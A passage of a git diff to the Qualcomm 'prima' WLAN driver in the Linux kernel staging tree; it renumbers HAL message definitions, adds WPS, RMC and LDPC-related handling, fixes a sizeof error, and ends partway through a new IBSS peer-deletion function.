SIR_HAL_SET_MAX_TX_POWER_PER_BAND_REQ \ - (SIR_HAL_ITC_MSG_TYPES_BEGIN + 221) -#define SIR_HAL_SET_MAX_TX_POWER_PER_BAND_RSP \ - (SIR_HAL_ITC_MSG_TYPES_BEGIN + 222) +#ifdef FEATURE_WLAN_BATCH_SCAN +#define SIR_HAL_SET_BATCH_SCAN_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 218) +#define SIR_HAL_SET_BATCH_SCAN_RSP (SIR_HAL_ITC_MSG_TYPES_BEGIN + 219) +#define SIR_HAL_STOP_BATCH_SCAN_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 220) +#define SIR_HAL_TRIGGER_BATCH_SCAN_RESULT_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 221) +#endif + +#define SIR_HAL_START_SCAN_OFFLOAD_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 223) +#define SIR_HAL_START_SCAN_OFFLOAD_RSP (SIR_HAL_ITC_MSG_TYPES_BEGIN + 224) +#define SIR_HAL_UPDATE_CHAN_LIST_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 225) +#ifdef WLAN_FEATURE_RMC +#define SIR_HAL_TX_FAIL_MONITOR_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 226) +#endif /* WLAN_FEATURE_RMC */ /* OBSS Scan start Indication to FW*/ #define SIR_HAL_HT40_OBSS_SCAN_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN +227) /* OBSS Scan stop Indication to FW*/ #define SIR_HAL_HT40_OBSS_STOP_SCAN_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN +228) -#define SIR_HAL_BCN_MISS_RATE_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 229) +#define SIR_HAL_SET_MAX_TX_POWER_PER_BAND_REQ \ + (SIR_HAL_ITC_MSG_TYPES_BEGIN + 229) +#define SIR_HAL_SET_MAX_TX_POWER_PER_BAND_RSP \ + (SIR_HAL_ITC_MSG_TYPES_BEGIN + 230) + +#define SIR_HAL_BCN_MISS_RATE_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 231) #ifdef WLAN_FEATURE_LINK_LAYER_STATS #define SIR_HAL_LL_STATS_CLEAR_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 232) @@ -673,10 +703,11 @@ typedef struct sSirMbMsgP2p #define SIR_HAL_EXTSCAN_SET_BSS_HOTLIST_RSP (SIR_HAL_ITC_MSG_TYPES_BEGIN + 243) #define SIR_HAL_EXTSCAN_RESET_BSS_HOTLIST_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 244) #define SIR_HAL_EXTSCAN_RESET_BSS_HOTLIST_RSP (SIR_HAL_ITC_MSG_TYPES_BEGIN + 245) -#define SIR_HAL_EXTSCAN_SET_SIGNF_RSSI_CHANGE_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 246) -#define SIR_HAL_EXTSCAN_SET_SIGNF_RSSI_CHANGE_RSP (SIR_HAL_ITC_MSG_TYPES_BEGIN + 247) -#define SIR_HAL_EXTSCAN_RESET_SIGNF_RSSI_CHANGE_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 248) -#define SIR_HAL_EXTSCAN_RESET_SIGNF_RSSI_CHANGE_RSP (SIR_HAL_ITC_MSG_TYPES_BEGIN + 249) +#define SIR_HAL_EXTSCAN_SET_SSID_HOTLIST_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 246) +#define SIR_HAL_EXTSCAN_SET_SSID_HOTLIST_RSP (SIR_HAL_ITC_MSG_TYPES_BEGIN + 247) +#define SIR_HAL_EXTSCAN_RESET_SSID_HOTLIST_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 248) +#define SIR_HAL_EXTSCAN_RESET_SSID_HOTLIST_RSP (SIR_HAL_ITC_MSG_TYPES_BEGIN + 249) + #define SIR_HAL_EXTSCAN_GET_CACHED_RESULTS_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 250) #define SIR_HAL_EXTSCAN_GET_CACHED_RESULTS_RSP (SIR_HAL_ITC_MSG_TYPES_BEGIN + 251) @@ -684,7 +715,8 @@ typedef struct sSirMbMsgP2p #define SIR_HAL_EXTSCAN_SCAN_AVAILABLE_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 253) #define SIR_HAL_EXTSCAN_SCAN_RESULT_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 254) #define SIR_HAL_EXTSCAN_HOTLIST_MATCH_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 255) -#define SIR_HAL_EXTSCAN_SIGNF_WIFI_CHANGE_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 256) +#define SIR_HAL_EXTSCAN_SSID_HOTLIST_MATCH_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 256) + #define SIR_HAL_EXTSCAN_FULL_SCAN_RESULT_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 257) #endif /* WLAN_FEATURE_EXTSCAN */ @@ -712,12 +744,28 @@ typedef struct sSirMbMsgP2p #define SIR_HAL_MON_START_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 269) #define SIR_HAL_MON_STOP_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 270) #define SIR_HAL_FATAL_EVENT_LOGS_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 271) -#define SIR_HAL_LPHB_CONF_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 272) +#define SIR_HAL_SEND_LOG_DONE_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 272) #define SIR_HAL_LOST_LINK_PARAMS_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 273) #define SIR_HAL_SEND_FREQ_RANGE_CONTROL_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 274) -#define SIR_HAL_SEND_LOG_DONE_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 275) - +#define SIR_HAL_FW_MEM_DUMP_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 275) +#define SIR_HAL_RSSI_MON_START_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 276) +#define SIR_HAL_RSSI_MON_STOP_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 277) +#define SIR_HAL_HIGH_PRIORITY_DATA_INFO_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 278) +#define SIR_HAL_WIFI_CONFIG_PARAMS (SIR_HAL_ITC_MSG_TYPES_BEGIN + 279) +#define SIR_HAL_START_OEM_DATA_REQ_IND_NEW (SIR_HAL_ITC_MSG_TYPES_BEGIN + 280) +#define SIR_HAL_START_OEM_DATA_RSP_IND_NEW (SIR_HAL_ITC_MSG_TYPES_BEGIN + 281) +#define SIR_HAL_ANTENNA_DIVERSITY_SELECTION_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 282) +#define SIR_HAL_MODIFY_ROAM_PARAMS_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 283) +#define SIR_HAL_SET_ALLOWED_ACTION_FRAMES (SIR_HAL_ITC_MSG_TYPES_BEGIN + 284) +#define SIR_HAL_PAUSE_TL_IND (SIR_HAL_ITC_MSG_TYPES_BEGIN + 285) +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD +#define SIR_HAL_PER_ROAM_SCAN_OFFLOAD_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 286) +#define SIR_HAL_PER_ROAM_SCAN_OFFLOAD_RSP (SIR_HAL_ITC_MSG_TYPES_BEGIN + 287) +#define SIR_HAL_PER_ROAM_SCAN_TRIGGER_REQ (SIR_HAL_ITC_MSG_TYPES_BEGIN + 288) +#define SIR_HAL_PER_ROAM_SCAN_TRIGGER_RSP (SIR_HAL_ITC_MSG_TYPES_BEGIN + 289) +#endif #define SIR_HAL_MSG_TYPES_END (SIR_HAL_MSG_TYPES_BEGIN + 0x1FF) + // CFG message types #define SIR_CFG_MSG_TYPES_BEGIN (SIR_CFG_MODULE_ID << 8) #define SIR_CFG_ITC_MSG_TYPES_BEGIN (SIR_CFG_MSG_TYPES_BEGIN+0xB0) diff --git a/drivers/staging/prima/CORE/MAC/src/pe/include/limGlobal.h b/drivers/staging/prima/CORE/MAC/src/pe/include/limGlobal.h index 449697b30405f..1ed099653c67c 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/include/limGlobal.h +++ b/drivers/staging/prima/CORE/MAC/src/pe/include/limGlobal.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -282,8 +282,8 @@ typedef struct sLimMlmScanReq tSirScanType scanType; tANI_U32 minChannelTime; tANI_U32 maxChannelTime; - tANI_U32 minChannelTimeBtc; - tANI_U32 maxChannelTimeBtc; + tANI_U32 min_chntime_btc_esco; + tANI_U32 max_chntime_btc_esco; tSirBackgroundScanMode backgroundScanMode; tANI_U32 dot11mode; /* Number of SSIDs to scan(send Probe request) */ diff --git a/drivers/staging/prima/CORE/MAC/src/pe/include/limSession.h b/drivers/staging/prima/CORE/MAC/src/pe/include/limSession.h index 8a94e6c24e40d..7c049afc77c03 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/include/limSession.h +++ b/drivers/staging/prima/CORE/MAC/src/pe/include/limSession.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -92,6 +92,7 @@ typedef struct sPESession // Added to Support BT-AMP tSirNwType nwType; tpSirSmeStartBssReq pLimStartBssReq; //handle to smestart bss req tANI_BOOLEAN bOSENAssociation; //handle to OSEN assoc req + tANI_BOOLEAN bWPSAssociation; //WPS Registration tpSirSmeJoinReq pLimJoinReq; // handle to sme join req tpSirSmeJoinReq pLimReAssocReq; //handle to sme reassoc req tpLimMlmJoinReq pLimMlmJoinReq; //handle to MLM join Req @@ -358,8 +359,8 @@ typedef struct sPESession // Added to Support BT-AMP tSirQosMapSet QosMapSet; tANI_U8 isKeyInstalled; tANI_BOOLEAN is11Gonly; - tANI_BOOLEAN is_ext_caps_present; tANI_BOOLEAN addBssfailed; + tDot11fIEExtCap ExtCap; }tPESession, *tpPESession; #define LIM_MAX_ACTIVE_SESSIONS 4 diff --git a/drivers/staging/prima/CORE/MAC/src/pe/include/limTrace.h b/drivers/staging/prima/CORE/MAC/src/pe/include/limTrace.h index 13f1e26e2eac0..24ffb8cf6e363 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/include/limTrace.h +++ b/drivers/staging/prima/CORE/MAC/src/pe/include/limTrace.h @@ -93,6 +93,7 @@ enum { void limTraceInit(tpAniSirGlobal pMac); +void lim_register_debug_callback(void); void limTraceReset(tpAniSirGlobal pMac); void limTraceUpdateMgmtStat(tpAniSirGlobal pMac, tANI_U8 subtype); void limTraceDumpMgmtStat(tpAniSirGlobal pMac, tANI_U8 subtype); diff --git a/drivers/staging/prima/CORE/MAC/src/pe/include/schApi.h b/drivers/staging/prima/CORE/MAC/src/pe/include/schApi.h index dbe206aae5636..da3f0e3c5af33 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/include/schApi.h +++ b/drivers/staging/prima/CORE/MAC/src/pe/include/schApi.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2013, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -93,7 +93,8 @@ void schSetBeaconInterval(tpAniSirGlobal pMac,tpPESession psessionEntry); tSirRetStatus schSendBeaconReq( tpAniSirGlobal, tANI_U8 *, tANI_U16, tpPESession psessionEntry ); -void limUpdateProbeRspTemplateIeBitmapBeacon1(tpAniSirGlobal,tDot11fBeacon1*,tANI_U32*,tDot11fProbeResponse*); +tSirRetStatus limUpdateProbeRspTemplateIeBitmapBeacon1(tpAniSirGlobal, + tDot11fBeacon1*, tpPESession psessionEntry); void limUpdateProbeRspTemplateIeBitmapBeacon2(tpAniSirGlobal,tDot11fBeacon2*,tANI_U32*,tDot11fProbeResponse*); void SetProbeRspIeBitmap(tANI_U32*,tANI_U32); tANI_U32 limSendProbeRspTemplateToHal(tpAniSirGlobal,tpPESession, diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limApi.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limApi.c index defbd4729500c..46f759a018209 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limApi.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limApi.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -444,6 +444,7 @@ static void __limInitHTVars(tpAniSirGlobal pMac) pMac->lim.gHTDualCTSProtection = 0; pMac->lim.gHTSTBCBasicMCS = 0; pMac->lim.gAddBA_Declined = 0; // Flag to Decline the BAR if the particular bit (0-7) is being set + vos_mem_set(&pMac->lim.staBaInfo, sizeof(pMac->lim.staBaInfo), 0); } static tSirRetStatus __limInitConfig( tpAniSirGlobal pMac ) @@ -762,6 +763,10 @@ limInitialize(tpAniSirGlobal pMac) limFTOpen(pMac); #endif +#ifdef WLAN_FEATURE_RMC + limRmcInit(pMac); +#endif /* WLAN_FEATURE_RMC */ + vos_list_init(&pMac->lim.gLimMgmtFrameRegistratinQueue); #if 0 @@ -857,6 +862,10 @@ limCleanup(tpAniSirGlobal pMac) limCleanupMlm(pMac); limCleanupLmm(pMac); +#ifdef WLAN_FEATURE_RMC + limRmcCleanup(pMac); +#endif /* WLAN_FEATURE_RMC */ + // free up preAuth table if (pMac->lim.gLimPreAuthTimerTable.pTable != NULL) { @@ -1054,6 +1063,7 @@ tSirRetStatus peOpen(tpAniSirGlobal pMac, tMacOpenParameters *pMacOpenParam) */ #ifdef LIM_TRACE_RECORD MTRACE(limTraceInit(pMac)); + lim_register_debug_callback(); #endif return eSIR_SUCCESS; } @@ -1786,9 +1796,10 @@ tAniBool limEncTypeMatched(tpAniSirGlobal pMac, tpSchBeaconStruct pBeacon, pBeacon->capabilityInfo.privacy, pBeacon->wpaPresent, pBeacon->rsnPresent); limLog(pMac, LOG1, - FL("pSession:: Privacy :%d EncyptionType: %d"), + FL("pSession:: Privacy :%d EncyptionType: %d WPS %d OSEN %d"), SIR_MAC_GET_PRIVACY(pSession->limCurrentBssCaps), - pSession->encryptType); + pSession->encryptType, pSession->bWPSAssociation, + pSession->bOSENAssociation); /* This is handled by sending probe req due to IOT issues so return TRUE */ @@ -1830,13 +1841,18 @@ tAniBool limEncTypeMatched(tpAniSirGlobal pMac, tpSchBeaconStruct pBeacon, * in beacon. Therefore no need to * check for security type in case * OSEN session. + * For WPS registration session no need to detect + * security mismatch as it wont match and + * driver may end up sending probe request without + * WPS IE during WPS registartion process. */ /*TODO: AP capability mismatch * is not checked here because * no logic for beacon parsing * is avilable for HS2.0. */ - if (pSession->bOSENAssociation) + if (pSession->bOSENAssociation || + pSession->bWPSAssociation) return eSIR_TRUE; return eSIR_FALSE; @@ -2217,11 +2233,11 @@ void limUpdateLostLinkParams(tpAniSirGlobal pMac, } pSmeLostLinkParams = (tpSirSmeLostLinkParamsInd)vos_mem_malloc(sizeof(tSirSmeLostLinkParamsInd)); - - if (pSmeLostLinkParams == NULL) + if (NULL == pSmeLostLinkParams) { - limLog(pMac, LOGE, - FL("pSmeLostLinkParams is NULL")); + limLog(pMac, LOGP, + FL("Failed to alloc mem of size %zu for tSirSmeLostLinkParamsInd"), + sizeof(*pSmeLostLinkParams)); return; } vos_mem_set(pSmeLostLinkParams, sizeof(tSirSmeLostLinkParamsInd), 0); @@ -2345,7 +2361,7 @@ void limMicFailureInd(tpAniSirGlobal pMac, tpSirMsgQ pMsg) } pSirSmeMicFailureInd->messageType = eWNI_SME_MIC_FAILURE_IND; - pSirSmeMicFailureInd->length = sizeof(pSirSmeMicFailureInd); + pSirSmeMicFailureInd->length = sizeof(*pSirSmeMicFailureInd); pSirSmeMicFailureInd->sessionId = psessionEntry->smeSessionId; vos_mem_copy(pSirSmeMicFailureInd->bssId, diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limAssocUtils.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limAssocUtils.c index 3bce9f4a9fcec..188f2e5786882 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limAssocUtils.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limAssocUtils.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -690,13 +690,13 @@ limCleanupRxPath(tpAniSirGlobal pMac, tpDphHashNode pStaDs,tpPESession psessionE * There is no context at Polaris to delete. * Release our assigned AID back to the free pool */ - if ((psessionEntry->limSystemRole == eLIM_AP_ROLE) || + if ((psessionEntry->limSystemRole == eLIM_AP_ROLE) || (psessionEntry->limSystemRole == eLIM_BT_AMP_AP_ROLE)) - { + { + limDelSta(pMac, pStaDs, false, psessionEntry); limReleasePeerIdx(pMac, pStaDs->assocId, psessionEntry); } limDeleteDphHashEntry(pMac, pStaDs->staAddr, pStaDs->assocId,psessionEntry); - return retCode; } } @@ -823,15 +823,14 @@ limSendDelStaCnf(tpAniSirGlobal pMac, tSirMacAddr staDsAddr, psessionEntry->limAID = 0; - } if ((mlmStaContext.cleanupTrigger == eLIM_HOST_DISASSOC) || (mlmStaContext.cleanupTrigger == - eLIM_LINK_MONITORING_DISASSOC) || + eLIM_PROMISCUOUS_MODE_DISASSOC) || (mlmStaContext.cleanupTrigger == - eLIM_PROMISCUOUS_MODE_DISASSOC)) + eLIM_LINK_MONITORING_DISASSOC)) { /** * Host or LMM driven Disassociation. @@ -845,6 +844,7 @@ limSendDelStaCnf(tpAniSirGlobal pMac, tSirMacAddr staDsAddr, (tANI_U8 *) staDsAddr, sizeof(tSirMacAddr)); mlmDisassocCnf.resultCode = statusCode; + mlmDisassocCnf.aid = staDsAssocId; mlmDisassocCnf.disassocTrigger = mlmStaContext.cleanupTrigger; /* Update PE session Id*/ @@ -854,10 +854,8 @@ limSendDelStaCnf(tpAniSirGlobal pMac, tSirMacAddr staDsAddr, LIM_MLM_DISASSOC_CNF, (tANI_U32 *) &mlmDisassocCnf); } - else if ((mlmStaContext.cleanupTrigger == - eLIM_HOST_DEAUTH) || - (mlmStaContext.cleanupTrigger == - eLIM_LINK_MONITORING_DEAUTH)) + else if ((mlmStaContext.cleanupTrigger == eLIM_HOST_DEAUTH) || + (mlmStaContext.cleanupTrigger == eLIM_LINK_MONITORING_DEAUTH)) { /** * Host or LMM driven Deauthentication. @@ -869,6 +867,7 @@ limSendDelStaCnf(tpAniSirGlobal pMac, tSirMacAddr staDsAddr, (tANI_U8 *) staDsAddr, sizeof(tSirMacAddr)); mlmDeauthCnf.resultCode = statusCode; + mlmDeauthCnf.aid = staDsAssocId; mlmDeauthCnf.deauthTrigger = mlmStaContext.cleanupTrigger; /* PE session Id */ @@ -2520,8 +2519,14 @@ limAddSta( } else { - pAddStaParams->htLdpcCapable = pStaDs->htLdpcCapable; - pAddStaParams->vhtLdpcCapable = pStaDs->vhtLdpcCapable; + if (psessionEntry->txLdpcIniFeatureEnabled & 0x1) + pAddStaParams->htLdpcCapable = pStaDs->htLdpcCapable; + else + pAddStaParams->htLdpcCapable = 0; + if (psessionEntry->txLdpcIniFeatureEnabled & 0x2) + pAddStaParams->vhtLdpcCapable = pStaDs->vhtLdpcCapable; + else + pAddStaParams->vhtLdpcCapable = 0; } } else if( STA_ENTRY_SELF == pStaDs->staType) @@ -3837,8 +3842,16 @@ tSirRetStatus limStaSendAddBss( tpAniSirGlobal pMac, tpSirAssocRsp pAssocRsp, } else { - pAddBssParams->staContext.htLdpcCapable = (tANI_U8)pAssocRsp->HTCaps.advCodingCap; - pAddBssParams->staContext.vhtLdpcCapable = (tANI_U8)pAssocRsp->VHTCaps.ldpcCodingCap; + if (psessionEntry->txLdpcIniFeatureEnabled & 0x1) + pAddBssParams->staContext.htLdpcCapable = + (tANI_U8)pAssocRsp->HTCaps.advCodingCap; + else + pAddBssParams->staContext.htLdpcCapable = 0; + if (psessionEntry->txLdpcIniFeatureEnabled & 0x2) + pAddBssParams->staContext.vhtLdpcCapable = + (tANI_U8)pAssocRsp->VHTCaps.ldpcCodingCap; + else + pAddBssParams->staContext.vhtLdpcCapable = 0; } if( pBeaconStruct->HTInfo.present ) @@ -3934,6 +3947,7 @@ tSirRetStatus limStaSendAddBss( tpAniSirGlobal pMac, tpSirAssocRsp pAssocRsp, psessionEntry->limMlmState = eLIM_MLM_WT_ADD_BSS_RSP_ASSOC_STATE; else psessionEntry->limMlmState = eLIM_MLM_WT_ADD_BSS_RSP_REASSOC_STATE; + MTRACE(macTrace(pMac, TRACE_CODE_MLM_STATE, psessionEntry->peSessionId, psessionEntry->limMlmState)); limLog(pMac, LOG1, FL("staContext wmmEnabled: %d encryptType: %d " @@ -4014,7 +4028,7 @@ tSirRetStatus limStaSendAddBssPreAssoc( tpAniSirGlobal pMac, tANI_U8 updateEntry limExtractApCapabilities( pMac, (tANI_U8 *) bssDescription->ieFields, - limGetIElenFromBssDescription( bssDescription ), + GET_IE_LEN_IN_BSS(bssDescription->length), pBeaconStruct ); if(pMac->lim.gLimProtectionControl != WNI_CFG_FORCE_POLICY_PROTECTION_DISABLE) @@ -4282,8 +4296,16 @@ tSirRetStatus limStaSendAddBssPreAssoc( tpAniSirGlobal pMac, tANI_U8 updateEntry } else { - pAddBssParams->staContext.htLdpcCapable = (tANI_U8)pBeaconStruct->HTCaps.advCodingCap; - pAddBssParams->staContext.vhtLdpcCapable = (tANI_U8)pBeaconStruct->VHTCaps.ldpcCodingCap; + if (psessionEntry->txLdpcIniFeatureEnabled & 0x1) + pAddBssParams->staContext.htLdpcCapable = + (tANI_U8)pBeaconStruct->HTCaps.advCodingCap; + else + pAddBssParams->staContext.htLdpcCapable = 0; + if (psessionEntry->txLdpcIniFeatureEnabled & 0x2) + pAddBssParams->staContext.vhtLdpcCapable = + (tANI_U8)pBeaconStruct->VHTCaps.ldpcCodingCap; + else + pAddBssParams->staContext.vhtLdpcCapable = 0; } if( pBeaconStruct->HTInfo.present ) diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limFT.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limFT.c index 8cbe6b81ebf5e..6a51b33877726 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limFT.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limFT.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -297,9 +297,6 @@ int limProcessFTPreAuthReq(tpAniSirGlobal pMac, tpSirMsgQ pMsg) */ return bufConsumed; } -#ifdef FEATURE_WLAN_DIAG_SUPPORT_LIM //FEATURE_WLAN_DIAG_SUPPORT - limDiagEventReport(pMac, WLAN_PE_DIAG_PRE_AUTH_REQ_EVENT, psessionEntry, 0, 0); -#endif // Dont need to suspend if APs are in same channel if (psessionEntry->currentOperChannel != pMac->ft.ftPEContext.pFTPreAuthReq->preAuthchannelNum) @@ -389,6 +386,10 @@ MTRACE(macTrace(pMac, TRACE_CODE_TIMER_ACTIVATE, psessionEntry->peSessionId, eLI #if defined WLAN_FEATURE_VOWIFI_11R_DEBUG PELOGE(limLog( pMac, LOG1, "%s: FT Auth Rsp Timer Started", __func__);) #endif +#ifdef FEATURE_WLAN_DIAG_SUPPORT + limDiagEventReport(pMac, WLAN_PE_DIAG_ROAM_AUTH_START_EVENT, + pMac->lim.pSessionEntry, eSIR_SUCCESS, eSIR_SUCCESS); +#endif limSendAuthMgmtFrame(pMac, &authFrame, pMac->ft.ftPEContext.pFTPreAuthReq->preAuthbssId, @@ -439,7 +440,7 @@ tSirRetStatus limFTPrepareAddBssReq( tpAniSirGlobal pMac, limExtractApCapabilities( pMac, (tANI_U8 *) bssDescription->ieFields, - limGetIElenFromBssDescription( bssDescription ), pBeaconStruct ); + GET_IE_LEN_IN_BSS(bssDescription->length), pBeaconStruct); if (pMac->lim.gLimProtectionControl != WNI_CFG_FORCE_POLICY_PROTECTION_DISABLE) limDecideStaProtectionOnAssoc(pMac, pBeaconStruct, pftSessionEntry); @@ -733,7 +734,7 @@ tpPESession limFillFTSession(tpAniSirGlobal pMac, limExtractApCapabilities( pMac, (tANI_U8 *) pbssDescription->ieFields, - limGetIElenFromBssDescription( pbssDescription ), + GET_IE_LEN_IN_BSS(pbssDescription->length), pBeaconStruct ); pftSessionEntry->rateSet.numRates = pBeaconStruct->supportedRates.numRates; @@ -855,8 +856,8 @@ tpPESession limFillFTSession(tpAniSirGlobal pMac, regMax = cfgGetRegulatoryMaxTransmitPower( pMac, pftSessionEntry->currentOperChannel ); localPowerConstraint = regMax; - limExtractApCapability( pMac, (tANI_U8 *) pbssDescription->ieFields, - limGetIElenFromBssDescription(pbssDescription), + limExtractApCapability(pMac, (tANI_U8 *) pbssDescription->ieFields, + GET_IE_LEN_IN_BSS(pbssDescription->length), &pftSessionEntry->limCurrentBssQosCaps, &pftSessionEntry->limCurrentBssPropCap, ¤tBssUapsd , &localPowerConstraint, psessionEntry); @@ -1150,11 +1151,6 @@ void limPostFTPreAuthRsp(tpAniSirGlobal pMac, tSirRetStatus status, #if defined WLAN_FEATURE_VOWIFI_11R_DEBUG PELOGE(limLog( pMac, LOG1, "Posted Auth Rsp to SME with status of 0x%x", status);) -#endif -#ifdef FEATURE_WLAN_DIAG_SUPPORT_LIM //FEATURE_WLAN_DIAG_SUPPORT - if (status == eSIR_SUCCESS) - limDiagEventReport(pMac, WLAN_PE_DIAG_PREAUTH_DONE, psessionEntry, - status, 0); #endif limSysProcessMmhMsgApi(pMac, &mmhMsg, ePROT); } @@ -1177,7 +1173,8 @@ void limHandleFTPreAuthRsp(tpAniSirGlobal pMac, tSirRetStatus status, tANI_U8 sessionId; tpSirBssDescription pbssDescription; #ifdef FEATURE_WLAN_DIAG_SUPPORT_LIM //FEATURE_WLAN_DIAG_SUPPORT - limDiagEventReport(pMac, WLAN_PE_DIAG_PRE_AUTH_RSP_EVENT, psessionEntry, (tANI_U16)status, 0); + limDiagEventReport(pMac, WLAN_PE_DIAG_PRE_AUTH_RSP_EVENT, + psessionEntry, status, eSIR_SUCCESS); #endif // Save the status of pre-auth @@ -1317,6 +1314,12 @@ void limProcessMlmFTReassocReq(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf, vos_mem_free(pMlmReassocReq); return; } + + lim_update_caps_info_for_bss(pMac, &caps, + psessionEntry->pLimReAssocReq->bssDescription.capabilityInfo); + + limLog(pMac, LOG1, FL("Capabilities info FT Reassoc: 0x%X"), caps); + pMlmReassocReq->capabilityInfo = caps; /* Update PE sessionId*/ diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limIbssPeerMgmt.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limIbssPeerMgmt.c index f8f66fc4cec6d..4ca42d3df0c3e 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limIbssPeerMgmt.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limIbssPeerMgmt.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -49,6 +49,9 @@ #include "limSendMessages.h" #include "limSession.h" #include "limIbssPeerMgmt.h" +#ifdef WLAN_FEATURE_RMC +#include "limRMC.h" +#endif /** @@ -820,6 +823,10 @@ void limIbssDelete( tpAniSirGlobal pMac,tpPESession psessionEntry) { +#ifdef WLAN_FEATURE_RMC + limRmcIbssDelete(pMac); +#endif /* WLAN_FEATURE_RMC */ + limIbssDeleteAllPeers(pMac,psessionEntry); ibss_coalesce_free(pMac); @@ -1141,6 +1148,93 @@ limIbssStaAdd( return retCode; } +static void +__limIbssSearchAndDeletePeer(tpAniSirGlobal pMac, + tpPESession psessionEntry, + tSirMacAddr macAddr) +{ + tLimIbssPeerNode *pTempNode, *pPrevNode; + tLimIbssPeerNode *pTempNextNode = NULL; + tpDphHashNode pStaDs=NULL; + tANI_U16 peerIdx=0; + tANI_U16 staIndex=0; + tANI_U8 ucUcastSig; + tANI_U8 ucBcastSig; + + pPrevNode = pTempNode = pMac->lim.gLimIbssPeerList; + + limLog(pMac, LOG1, + FL(" PEER ADDR :" MAC_ADDRESS_STR ),MAC_ADDR_ARRAY(macAddr)); + + /** Compare Peer */ + while (NULL != pTempNode) + { + pTempNextNode = pTempNode->next; + + /* Delete the STA with MAC address */ + if (vos_mem_compare( (tANI_U8 *) macAddr, + (tANI_U8 *) &pTempNode->peerMacAddr, + sizeof(tSirMacAddr)) ) + { + pStaDs = dphLookupHashEntry(pMac, macAddr, + &peerIdx, &psessionEntry->dph.dphHashTable); + if (pStaDs) + { + staIndex = pStaDs->staIndex; + ucUcastSig = pStaDs->ucUcastSig; + ucBcastSig = 